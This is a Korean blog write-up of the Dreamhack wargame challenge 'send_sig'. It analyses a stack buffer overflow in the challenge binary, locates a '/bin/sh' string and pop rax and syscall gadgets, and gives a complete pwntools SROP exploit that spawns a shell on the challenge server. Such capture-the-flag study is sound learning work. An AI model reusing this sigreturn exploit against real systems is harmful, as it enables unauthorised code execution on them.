security/포너블 - dreamhack

[Dreamhack Wargame] send_sig

민사민서 2023. 6. 23. 18:31

IDA를 사용해야됐다는 것 빼고는 진짜 간단한 문제.

문제 조건

  • ELF 64-bit LSB executable, x86-64, dynamically linked, stripped
  • Partial RELRO   No canary found   NX enabled    No PIE
  • start(), sub_4010B6(), sub_401090(), sub_4010A6() 정도 함수만 보면 됨

문제 분석

void __noreturn start()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  write(1, "++++++++++++++++++Welcome to dreamhack++++++++++++++++++\n", 0x39uLL);
  write(1, "+ You can send a signal to dreamhack server.           +\n", 0x39uLL);
  write(1, "++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n", 0x39uLL);
  sub_4010B6();
  exit(0);
}
ssize_t sub_4010B6()
{
  char buf[8]; // [rsp+8h] [rbp-8h] BYREF

  write(1, "Signal:", 7uLL);
  return read(0, buf, 0x400uLL);
}

- buf[8] bof 가능하다

   0x401090:	endbr64 
   0x401094:	push   rbp
   0x401095:	mov    rbp,rsp
   0x401098:	lea    rax,[rip+0xf61]        # 0x402000
   0x40109f:	mov    QWORD PTR [rbp-0x8],rax
   0x4010a3:	nop
   0x4010a4:	pop    rbp
   0x4010a5:	ret

- "/bin/sh" 문자열 주소를 리턴하는 함수인데, 그냥 0x402000 주소만 알아가면 될 것 같다

   0x4010a6:	endbr64 
   0x4010aa:	push   rbp
   0x4010ab:	mov    rbp,rsp
   0x4010ae:	pop    rax
   0x4010af:	ret    
   0x4010b0:	syscall 
   0x4010b2:	ret    
   0x4010b3:	nop
   0x4010b4:	pop    rbp
   0x4010b5:	ret

- IDA 디컴 잘 안된다. 마찬가지로 pop rax;ret; 가젯과 syscall 가젯이면 충분할 것 같다

 

=> SIGRETURN syscall 후 execve("/bin/sh",0,0) syscall 하면 될 듯

exploit 코드

from pwn import *

context(arch="amd64", os="linux")

# p = process("./send_sig")
p = remote("host3.dreamhack.games", 12330)

binsh_func = 0x401090
prax_r = 0x4010ae
syscall = 0x4010b0

pay = b'A'*0x10 + p64(prax_r) + p64(0xf) + p64(syscall)
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x402000
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall
pay += bytes(frame)

p.sendafter("Signal:", pay)
p.interactive()